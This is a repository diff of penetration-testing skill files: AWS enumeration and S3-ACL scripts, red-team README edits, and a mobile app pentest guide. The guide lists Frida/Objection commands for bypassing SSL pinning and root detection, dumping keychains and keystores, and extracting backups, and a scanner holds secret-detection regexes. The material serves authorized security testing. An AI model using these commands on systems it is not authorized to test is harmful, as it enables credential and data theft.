return {"status": "error", "message": "ScoutSuite not installed: pip install scoutsuite"}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"status": "timeout", "message": "ScoutSuite scan exceeded 10 minute timeout"}
|
||||
|
||||
|
||||
def run_pentest(profile=None, region="us-east-1"):
|
||||
"""Execute cloud infrastructure penetration test."""
|
||||
session = boto3.Session(profile_name=profile, region_name=region)
|
||||
print(f"\n{'='*60}")
|
||||
print(f" CLOUD INFRASTRUCTURE PENETRATION TEST")
|
||||
print(f" Region: {region} | Profile: {profile or 'default'}")
|
||||
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
public = enumerate_public_resources(session)
|
||||
print(f"--- PUBLIC EXPOSURE ({len(public)} findings) ---")
|
||||
for f in public[:10]:
|
||||
print(f" [{f['severity']}] {f['type']}: {f['resource']}")
|
||||
|
||||
iam_issues = check_iam_weaknesses(session)
|
||||
print(f"\n--- IAM WEAKNESSES ({len(iam_issues)} findings) ---")
|
||||
for f in iam_issues[:10]:
|
||||
print(f" [{f['severity']}] {f['type']}: {f.get('user', f.get('resource', 'N/A'))}")
|
||||
|
||||
metadata = check_metadata_service(session)
|
||||
print(f"\n--- IMDSv1 EXPOSURE ({len(metadata)} instances) ---")
|
||||
for f in metadata[:10]:
|
||||
print(f" [{f['severity']}] {f['instance_id']} ({f['state']})")
|
||||
|
||||
return {"public_exposure": public, "iam_issues": iam_issues, "imdsv1": metadata}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Cloud Infrastructure Pentest Agent")
|
||||
parser.add_argument("--profile", help="AWS CLI profile name")
|
||||
parser.add_argument("--region", default="us-east-1", help="AWS region")
|
||||
parser.add_argument("--scan", action="store_true", help="Run full pentest scan")
|
||||
parser.add_argument("--scoutsuite", action="store_true", help="Run ScoutSuite audit")
|
||||
parser.add_argument("--output", help="Save report to JSON file")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.scoutsuite:
|
||||
report = run_scoutsuite_scan()
|
||||
print(json.dumps(report, indent=2))
|
||||
elif args.scan:
|
||||
report = run_pentest(args.profile, args.region)
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
else:
|
||||
parser.print_help()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,134 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Cloud Infrastructure Penetration Test — Automation Process
|
||||
|
||||
Automates AWS/Azure/GCP enumeration and security assessment.
|
||||
|
||||
Usage:
|
||||
python process.py --provider aws --profile testuser --output ./results
|
||||
"""
|
||||
|
||||
import subprocess
|
||||
import json
|
||||
import argparse
|
||||
import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
|
||||
return "", str(e), -1
|
||||
|
||||
|
||||
def aws_enumerate(profile: str, output_dir: Path) -> dict:
|
||||
"""Enumerate AWS resources."""
|
||||
print("[*] Enumerating AWS resources...")
|
||||
results = {}
|
||||
|
||||
checks = {
|
||||
"identity": ["aws", "sts", "get-caller-identity", "--profile", profile],
|
||||
"s3_buckets": ["aws", "s3api", "list-buckets", "--profile", profile],
|
||||
"ec2_instances": ["aws", "ec2", "describe-instances", "--profile", profile],
|
||||
"lambda_functions": ["aws", "lambda", "list-functions", "--profile", profile],
|
||||
"iam_users": ["aws", "iam", "list-users", "--profile", profile],
|
||||
"rds_instances": ["aws", "rds", "describe-db-instances", "--profile", profile],
|
||||
}
|
||||
|
||||
for name, cmd in checks.items():
|
||||
stdout, stderr, rc = run_command(cmd)
|
||||
if rc == 0:
|
||||
try:
|
||||
results[name] = json.loads(stdout)
|
||||
except json.JSONDecodeError:
|
||||
results[name] = {"raw": stdout}
|
||||
else:
|
||||
results[name] = {"error": stderr[:200]}
|
||||
|
||||
with open(output_dir / "aws_enum.json", "w") as f:
|
||||
json.dump(results, f, indent=2, default=str)
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def check_public_s3(buckets: list[str], profile: str) -> list[dict]:
|
||||
"""Check S3 buckets for public access."""
|
||||
findings = []
|
||||
for bucket in buckets:
|
||||
stdout, stderr, rc = run_command(
|
||||
["aws", "s3api", "get-bucket-acl", "--bucket", bucket, "--profile", profile]
|
||||
)
|
||||
if rc == 0:
|
||||
acl = json.loads(stdout)
|
||||
for grant in acl.get("Grants", []):
|
||||
grantee = grant.get("Grantee", {})
|
||||
if grantee.get("URI", "").endswith("AllUsers") or \
|
||||
grantee.get("URI", "").endswith("AuthenticatedUsers"):
|
||||
findings.append({
|
||||
"bucket": bucket,
|
||||
"grantee": grantee.get("URI"),
|
||||
"permission": grant.get("Permission"),
|
||||
"severity": "Critical"
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(provider: str, enum_results: dict, findings: list[dict],
|
||||
output_dir: Path) -> str:
|
||||
"""Generate cloud pentest report."""
|
||||
report_file = output_dir / f"{provider}_pentest_report.md"
|
||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
||||
|
||||
with open(report_file, "w") as f:
|
||||
f.write(f"# {provider.upper()} Cloud Penetration Test Report\n\n")
|
||||
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
|
||||
|
||||
f.write("## Resource Inventory\n\n")
|
||||
for resource, data in enum_results.items():
|
||||
f.write(f"### {resource}\n")
|
||||
if isinstance(data, dict) and "error" in data:
|
||||
f.write(f"Access denied: {data['error'][:100]}\n\n")
|
||||
else:
|
||||
f.write(f"```json\n{json.dumps(data, indent=2, default=str)[:500]}\n```\n\n")
|
||||
|
||||
if findings:
|
||||
f.write("## Security Findings\n\n")
|
||||
for finding in findings:
|
||||
f.write(f"### [{finding['severity']}] {finding.get('bucket', finding.get('resource', 'Unknown'))}\n")
|
||||
f.write(f"- Issue: {finding.get('grantee', finding.get('issue', ''))}\n")
|
||||
f.write(f"- Permission: {finding.get('permission', '')}\n\n")
|
||||
|
||||
f.write("## Recommendations\n\n")
|
||||
f.write("1. Enable S3 Block Public Access at account level\n")
|
||||
f.write("2. Implement least-privilege IAM policies\n")
|
||||
f.write("3. Enforce IMDSv2 on all EC2 instances\n")
|
||||
f.write("4. Enable CloudTrail logging in all regions\n")
|
||||
f.write("5. Use AWS Organizations SCPs for guardrails\n")
|
||||
|
||||
print(f"[+] Report: {report_file}")
|
||||
return str(report_file)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Cloud Pentest Automation")
|
||||
parser.add_argument("--provider", choices=["aws", "azure", "gcp"], default="aws")
|
||||
parser.add_argument("--profile", default="default")
|
||||
parser.add_argument("--output", default="./results")
|
||||
args = parser.parse_args()
|
||||
|
||||
output_dir = Path(args.output)
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if args.provider == "aws":
|
||||
results = aws_enumerate(args.profile, output_dir)
|
||||
buckets = [b["Name"] for b in results.get("s3_buckets", {}).get("Buckets", [])]
|
||||
findings = check_public_s3(buckets[:20], args.profile)
|
||||
generate_report("aws", results, findings, output_dir)
|
||||
|
||||
print(f"\n[+] Cloud pentest automation complete for {args.provider}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When conducting security assessments that involve conducting full scope red team engagement
|
||||
- When following incident response procedures for related security events
|
||||
- When performing scheduled security testing or auditing activities
|
||||
- When validating security controls through hands-on testing
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization (Rules of Engagement document) signed by executive leadership
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When conducting security assessments that involve conducting internal network penetration test
|
||||
- When following incident response procedures for related security events
|
||||
- When performing scheduled security testing or auditing activities
|
||||
- When validating security controls through hands-on testing
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Signed Rules of Engagement with internal network scope
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,233 +0,0 @@
|
||||
---
|
||||
name: conducting-mobile-application-penetration-test
|
||||
description: Perform a mobile application penetration test on Android and iOS apps to identify insecure data storage, certificate pinning bypass, API vulnerabilities, binary protections, and runtime manipulation using Frida, Objection, and MobSF.
|
||||
domain: cybersecurity
|
||||
subdomain: penetration-testing
|
||||
tags: [mobile-pentest, Android, iOS, Frida, Objection, MobSF, OWASP-MASTG, certificate-pinning, APK-analysis]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Conducting Mobile Application Penetration Test
|
||||
|
||||
## Overview
|
||||
|
||||
Mobile application penetration testing evaluates the security of Android and iOS applications following the OWASP Mobile Application Security Testing Guide (MASTG) and Mobile Application Security Verification Standard (MASVS). Testing covers static analysis of the application binary, dynamic runtime analysis, API communication security, data storage assessment, and reverse engineering resistance.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Application APK/IPA file or TestFlight/Play Store access
|
||||
- Rooted Android device or emulator (Genymotion, Android Studio AVD)
|
||||
- Jailbroken iOS device or Corellium cloud instance
|
||||
- Tools: Frida, Objection, MobSF, Jadx, Burp Suite, adb, Ghidra
|
||||
- OWASP MASTG checklist
|
||||
|
||||
## Android Testing
|
||||
|
||||
### Static Analysis
|
||||
|
||||
```bash
|
||||
# Decompile APK with jadx
|
||||
jadx -d output_dir target.apk
|
||||
|
||||
# Search for hardcoded secrets
|
||||
grep -rn "api_key\|secret\|password\|token\|firebase" output_dir/sources/
|
||||
|
||||
# Check AndroidManifest.xml
|
||||
# Look for: exported components, debuggable=true, allowBackup=true
|
||||
grep -i "exported\|debuggable\|allowBackup\|android:permission" output_dir/resources/AndroidManifest.xml
|
||||
|
||||
# MobSF automated static analysis
|
||||
# Upload APK to MobSF web interface (http://localhost:8000)
|
||||
# Or use REST API:
|
||||
curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
|
||||
-H "Authorization: <api_key>"
|
||||
|
||||
# Check for insecure network security config
|
||||
cat output_dir/resources/res/xml/network_security_config.xml
|
||||
# Look for: cleartextTrafficPermitted="true", trust-anchors with user certs
|
||||
|
||||
# Analyze native libraries
|
||||
find output_dir/resources/lib -name "*.so" -exec strings {} \; | grep -i "key\|secret"
|
||||
```
|
||||
|
||||
### Dynamic Analysis
|
||||
|
||||
```bash
|
||||
# Install on device via adb
|
||||
adb install target.apk
|
||||
|
||||
# Start Frida server on device
|
||||
adb push frida-server /data/local/tmp/
|
||||
adb shell chmod 755 /data/local/tmp/frida-server
|
||||
adb shell /data/local/tmp/frida-server &
|
||||
|
||||
# Objection — runtime exploration
|
||||
objection -g com.target.app explore
|
||||
|
||||
# Inside Objection:
|
||||
# List activities and services
|
||||
android hooking list activities
|
||||
android hooking list services
|
||||
|
||||
# Bypass root detection
|
||||
android root disable
|
||||
|
||||
# Bypass SSL pinning
|
||||
android sslpinning disable
|
||||
|
||||
# Dump keystore
|
||||
android keystore list
|
||||
|
||||
# Enumerate shared preferences
|
||||
android hooking search classes SharedPreferences
|
||||
|
||||
# Monitor clipboard
|
||||
android clipboard monitor
|
||||
|
||||
# Explore filesystem
|
||||
env
|
||||
ls /data/data/com.target.app/
|
||||
file download /data/data/com.target.app/shared_prefs/
|
||||
file download /data/data/com.target.app/databases/
|
||||
```
|
||||
|
||||
### Data Storage Testing
|
||||
|
||||
```bash
|
||||
# Check shared preferences for sensitive data
|
||||
adb shell cat /data/data/com.target.app/shared_prefs/*.xml
|
||||
|
||||
# Check SQLite databases
|
||||
adb pull /data/data/com.target.app/databases/app.db
|
||||
sqlite3 app.db ".dump" | grep -i "password\|token\|session"
|
||||
|
||||
# Check for data in external storage
|
||||
adb shell ls /sdcard/Android/data/com.target.app/
|
||||
|
||||
# Check for sensitive data in logs
|
||||
adb logcat -d | grep -i "token\|password\|session\|api_key"
|
||||
|
||||
# Backup extraction
|
||||
adb backup -apk -shared com.target.app -f backup.ab
|
||||
java -jar abe.jar unpack backup.ab backup.tar
|
||||
tar xf backup.tar
|
||||
```
|
||||
|
||||
### Network Traffic Analysis
|
||||
|
||||
```bash
|
||||
# Configure Burp proxy on device
|
||||
# Settings > WiFi > Proxy > Manual > 192.168.1.100:8080
|
||||
# Install Burp CA certificate on device
|
||||
|
||||
# For apps with certificate pinning:
|
||||
# Method 1: Objection
|
||||
objection -g com.target.app explore
|
||||
android sslpinning disable
|
||||
|
||||
# Method 2: Frida script
|
||||
frida -U -f com.target.app -l ssl_pinning_bypass.js --no-pause
|
||||
|
||||
# Method 3: Patch APK
|
||||
# Use apktool to decompile, modify network_security_config.xml, repack
|
||||
apktool d target.apk -o decompiled/
|
||||
# Edit res/xml/network_security_config.xml to trust user CAs
|
||||
apktool b decompiled/ -o patched.apk
|
||||
jarsigner -keystore my.keystore patched.apk alias_name
|
||||
```
|
||||
|
||||
## iOS Testing
|
||||
|
||||
### Static Analysis
|
||||
|
||||
```bash
|
||||
# Decrypt IPA (from jailbroken device)
|
||||
# Using frida-ios-dump
|
||||
python3 dump.py com.target.app
|
||||
|
||||
# Or using Clutch on device
|
||||
Clutch -d com.target.app
|
||||
|
||||
# Analyze binary with class-dump
|
||||
class-dump -H TargetApp -o headers/
|
||||
grep -rn "password\|token\|secret\|apiKey" headers/
|
||||
|
||||
# Check Info.plist
|
||||
plutil -p Payload/TargetApp.app/Info.plist
|
||||
# Look for: ATS exceptions, URL schemes, exported UTIs
|
||||
|
||||
# Check for insecure API connections
|
||||
grep -i "http://" headers/*.h
|
||||
grep -i "NSAllowsArbitraryLoads" Payload/TargetApp.app/Info.plist
|
||||
```
|
||||
|
||||
### Dynamic Analysis (iOS)
|
||||
|
||||
```bash
|
||||
# Frida on iOS
|
||||
frida -U -f com.target.app -l ios_bypass.js --no-pause
|
||||
|
||||
# Objection for iOS
|
||||
objection -g com.target.app explore
|
||||
|
||||
# Inside Objection:
|
||||
ios sslpinning disable
|
||||
ios jailbreak disable
|
||||
ios keychain dump
|
||||
ios plist cat NSUserDefaults
|
||||
ios cookies get
|
||||
ios nsurlcredentialstorage dump
|
||||
|
||||
# Check Keychain for stored secrets
|
||||
objection -g com.target.app explore --startup-command 'ios keychain dump'
|
||||
|
||||
# Check for data protection classes
|
||||
objection -g com.target.app explore --startup-command 'ios info binary'
|
||||
```
|
||||
|
||||
### API Testing
|
||||
|
||||
```bash
|
||||
# Through Burp Suite, test captured API calls:
|
||||
|
||||
# Authentication bypass
|
||||
# Modify JWT tokens, test for algorithm confusion (none, HS256 vs RS256)
|
||||
|
||||
# IDOR testing
|
||||
# Change user identifiers in API requests
|
||||
|
||||
# Rate limiting
|
||||
# Brute force OTP/PIN endpoints
|
||||
|
||||
# Input validation
|
||||
# Test for injection in API parameters
|
||||
|
||||
# Business logic
|
||||
# Manipulate prices, quantities, subscription tiers in requests
|
||||
```
|
||||
|
||||
## OWASP MASVS Checklist
|
||||
|
||||
| Category | Test | Status |
|
||||
|----------|------|--------|
|
||||
| MASVS-STORAGE-1 | Sensitive data in system logs | [ ] |
|
||||
| MASVS-STORAGE-2 | Sensitive data in backups | [ ] |
|
||||
| MASVS-STORAGE-3 | Sensitive data in IPC | [ ] |
|
||||
| MASVS-CRYPTO-1 | Proper cryptographic APIs | [ ] |
|
||||
| MASVS-AUTH-1 | Local authentication bypass | [ ] |
|
||||
| MASVS-NETWORK-1 | TLS with trusted CA | [ ] |
|
||||
| MASVS-NETWORK-2 | Certificate pinning | [ ] |
|
||||
| MASVS-PLATFORM-1 | Exported components secured | [ ] |
|
||||
| MASVS-CODE-1 | Code obfuscation | [ ] |
|
||||
| MASVS-RESILIENCE-1 | Root/jailbreak detection | [ ] |
|
||||
|
||||
## References
|
||||
|
||||
- OWASP MASTG: https://mas.owasp.org/MASTG/
|
||||
- OWASP MASVS: https://mas.owasp.org/MASVS/
|
||||
- Frida: https://frida.re/
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
- MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF
|
||||
- JADX: https://github.com/skylot/jadx
|
||||
@@ -1,47 +0,0 @@
|
||||
# Mobile Application Penetration Test — API Reference
|
||||
|
||||
## Libraries & Tools
|
||||
|
||||
| Tool | Install | Purpose |
|
||||
|------|---------|---------|
|
||||
| apktool | `apt install apktool` | Android APK decompilation and recompilation |
|
||||
| objection | `pip install objection` | Runtime mobile exploration via Frida |
|
||||
| frida-tools | `pip install frida-tools` | Dynamic instrumentation framework |
|
||||
| jadx | Binary download | Java decompiler for APK source code |
|
||||
| MobSF | `docker pull opensecurity/mobile-security-framework-mobsf` | Automated mobile security scanner |
|
||||
|
||||
## Key objection Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `objection -g <pkg> explore` | Attach to running app |
|
||||
| `android sslpinning disable` | Bypass SSL certificate pinning |
|
||||
| `android root disable` | Bypass root detection |
|
||||
| `android hooking list activities` | List app activities |
|
||||
| `android keystore list` | Dump Android Keystore entries |
|
||||
| `android clipboard monitor` | Monitor clipboard content |
|
||||
|
||||
## Frida Script Patterns
|
||||
|
||||
| Pattern | Purpose |
|
||||
|---------|---------|
|
||||
| `Java.use("class").method.implementation` | Hook Java method |
|
||||
| `Interceptor.attach(addr, {onEnter, onLeave})` | Hook native function |
|
||||
| `Java.choose("class", {onMatch, onComplete})` | Find live instances |
|
||||
|
||||
## OWASP Mobile Top 10 Checks
|
||||
|
||||
| ID | Vulnerability |
|
||||
|----|--------------|
|
||||
| M1 | Improper Platform Usage |
|
||||
| M2 | Insecure Data Storage |
|
||||
| M3 | Insecure Communication |
|
||||
| M4 | Insecure Authentication |
|
||||
| M5 | Insufficient Cryptography |
|
||||
|
||||
## External References
|
||||
|
||||
- [OWASP Mobile Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
|
||||
- [Frida Documentation](https://frida.re/docs/home/)
|
||||
- [objection Wiki](https://github.com/sensepost/objection/wiki)
|
||||
- [apktool Documentation](https://apktool.org/docs/install)
|
||||
@@ -1,126 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Mobile application penetration testing agent using Frida and objection."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def run_apktool_decompile(apk_path):
|
||||
"""Decompile Android APK for static analysis."""
|
||||
cmd = ["apktool", "d", apk_path, "-o", f"{apk_path}_decompiled", "-f"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
return {"status": "completed", "output_dir": f"{apk_path}_decompiled"}
|
||||
except FileNotFoundError:
|
||||
return {"status": "error", "message": "apktool not installed"}
|
||||
|
||||
|
||||
def check_android_manifest(manifest_path):
|
||||
"""Analyze AndroidManifest.xml for security issues."""
|
||||
findings = []
|
||||
try:
|
||||
with open(manifest_path, "r") as f:
|
||||
content = f.read()
|
||||
checks = [
|
||||
("android:debuggable=\"true\"", "App is debuggable", "HIGH"),
|
||||
("android:allowBackup=\"true\"", "App allows backup extraction", "MEDIUM"),
|
||||
("android:exported=\"true\"", "Exported component found", "MEDIUM"),
|
||||
("android:usesCleartextTraffic=\"true\"", "Cleartext traffic allowed", "HIGH"),
|
||||
("android.permission.WRITE_EXTERNAL_STORAGE", "External storage write", "LOW"),
|
||||
("android.permission.READ_PHONE_STATE", "Phone state access", "MEDIUM"),
|
||||
]
|
||||
for pattern, desc, severity in checks:
|
||||
if pattern.lower() in content.lower():
|
||||
findings.append({"finding": desc, "pattern": pattern, "severity": severity})
|
||||
except FileNotFoundError:
|
||||
findings.append({"error": f"Manifest not found: {manifest_path}"})
|
||||
return findings
|
||||
|
||||
|
||||
def scan_hardcoded_secrets(source_dir):
|
||||
"""Scan decompiled source for hardcoded secrets."""
|
||||
import re
|
||||
patterns = {
|
||||
"API Key": re.compile(r'["\'](?:api[_-]?key|apikey)["\']?\s*[:=]\s*["\']([^"\']{20,})["\']', re.I),
|
||||
"AWS Key": re.compile(r'AKIA[0-9A-Z]{16}'),
|
||||
"Private Key": re.compile(r'-----BEGIN (?:RSA )?PRIVATE KEY-----'),
|
||||
